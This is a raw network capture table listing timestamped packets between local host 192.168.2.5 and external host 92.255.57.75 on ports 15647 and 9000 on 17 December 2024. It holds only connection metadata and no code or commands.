Dec 17, 2024 08:39:21.508964062 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.605452061 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.607788086 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.632261038 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.634035110 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.727710009 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.751838923 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.751985073 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.805515051 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.872750044 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.872870922 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.919815063 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.962065935 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:21.993295908 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:21.993359089 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.063997984 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.064122915 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.113277912 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.153517008 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.183805943 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.183928967 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.255932093 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.303658009 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.303778887 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.346584082 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.399611950 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.423507929 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.423716068 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.489600897 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.489790916 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.543433905 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.610404015 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.610483885 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.615606070 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.657030106 CET	9000	49884	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.657093048 CET	9000	49884	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.657147884 CET	49884	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.657284021 CET	49884	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.665175915 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.681466103 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.681562901 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.759582043 CET	49888	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.776891947 CET	9000	49884	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.777380943 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.777487993 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.801271915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.802388906 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.852715969 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.879468918 CET	9000	49888	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.879821062 CET	49888	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.880017996 CET	49888	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.922796965 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:22.923805952 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:22.999619961 CET	9000	49888	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.085401058 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.085549116 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.089270115 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.133965015 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.206196070 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.206296921 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.237133980 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.290199041 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.369522095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.369592905 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.399527073 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.428790092 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.428900957 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.489432096 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.489537001 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.590190887 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.590320110 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.609338999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.681704998 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.681832075 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.711455107 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.801960945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.802097082 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.902324915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.902502060 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.921933889 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:23.922079086 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:23.994128942 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.022404909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.023772955 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.041889906 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.114181995 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.114633083 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.143556118 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.205605984 CET	9000	49888	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.205744982 CET	9000	49888	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.205826998 CET	49888	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.205867052 CET	49888	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.214421034 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.214512110 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.234720945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.321966887 CET	49894	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.325829029 CET	9000	49888	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.334248066 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.334433079 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.335705996 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.384150028 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.426685095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.427040100 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.441782951 CET	9000	49894	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.441926956 CET	49894	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.442130089 CET	49894	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.497459888 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.497733116 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.546808958 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.561897039 CET	9000	49894	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.577445984 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.577706099 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.665509939 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.697707891 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.697957993 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.738965034 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.790184021 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.809515953 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.809597015 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.818381071 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.931030035 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.931150913 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:24.931258917 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:24.977722883 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.093485117 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.093573093 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.121689081 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.165323019 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.165460110 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.165663004 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.213371992 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.286593914 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.286674023 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.313977957 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.368367910 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.405808926 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.405879974 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.449454069 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.449511051 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.526743889 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.526809931 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.570017099 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.597477913 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.649636984 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.689560890 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.691792011 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.717889071 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.758972883 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.764564991 CET	9000	49894	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.764755964 CET	9000	49894	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.764837027 CET	49894	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.764966011 CET	49894	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.813982964 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.814224005 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.829699039 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.869899988 CET	49900	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.883963108 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.884774923 CET	9000	49894	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.909809113 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.909964085 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.977463007 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.990401030 CET	9000	49900	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:25.990520000 CET	49900	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:25.990634918 CET	49900	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.021305084 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.023955107 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.029917002 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.110529900 CET	9000	49900	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.143789053 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.143857956 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.222084999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.222217083 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.263782024 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.338483095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.339804888 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.342066050 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.455879927 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.456041098 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.460140944 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.534338951 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.534503937 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.580152988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.580292940 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.654582977 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.654644012 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.654716969 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.700571060 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.768066883 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.768142939 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.774522066 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.888176918 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.888299942 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:26.892417908 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:26.946479082 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.196449041 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.261795998 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.261904001 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.261934996 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.262161016 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.262216091 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.272221088 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.321455956 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.381814957 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.381829023 CET	9000	49900	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.381839037 CET	9000	49900	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.381920099 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.382219076 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.382251978 CET	49900	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.398686886 CET	49900	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.464263916 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.501612902 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.501679897 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.518445969 CET	9000	49900	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.574482918 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.593028069 CET	49901	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.618344069 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.621428013 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.621516943 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.712822914 CET	9000	49901	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.714658976 CET	49901	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.714857101 CET	49901	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.741421938 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.741549969 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.766489983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.821465015 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.834889889 CET	9000	49901	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.901529074 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.903785944 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:27.933281898 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.958297014 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:27.959852934 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.023695946 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.079705954 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.079858065 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.125550985 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.125647068 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.199630976 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.199700117 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.215827942 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.258955956 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.285465956 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.285532951 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.319569111 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.391778946 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.392151117 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.405422926 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.511497974 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.511754036 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.511871099 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.597831011 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.599797964 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.631623983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.704042912 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.707839012 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.719603062 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.823772907 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.827677011 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.827847958 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:28.947702885 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:28.951798916 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.019730091 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.023777962 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.039704084 CET	9000	49901	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.039753914 CET	9000	49901	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.039845943 CET	49901	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.040021896 CET	49901	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.071844101 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.075160980 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.143702030 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.146399021 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.150120974 CET	49907	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.156021118 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.159733057 CET	9000	49901	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.196466923 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.237530947 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.239751101 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.264003992 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.266146898 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.269817114 CET	9000	49907	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.271785975 CET	49907	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.271895885 CET	49907	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.321621895 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.335561037 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.335724115 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.359554052 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.359786987 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.391572952 CET	9000	49907	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.455503941 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.455754042 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.458178997 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.508980989 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.525446892 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.525568962 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.575503111 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.645358086 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.647485018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.647661924 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.767587900 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.767718077 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.837873936 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.883944988 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.933574915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:29.933645010 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:29.959862947 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.008985043 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.053327084 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.053472042 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.079665899 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.133954048 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.217442989 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.217571020 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.245429039 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.290183067 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.337481976 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.337543011 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.365356922 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.365422010 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.437488079 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.437707901 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.501424074 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.501473904 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.557224035 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.557356119 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.557409048 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.598304033 CET	9000	49907	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.598392010 CET	9000	49907	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.598438978 CET	49907	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.598525047 CET	49907	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.621247053 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.621345043 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.677083015 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:30.713470936 CET	49913	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:30.718138933 CET	9000	49907	92.255.57.75	192.168.2.5
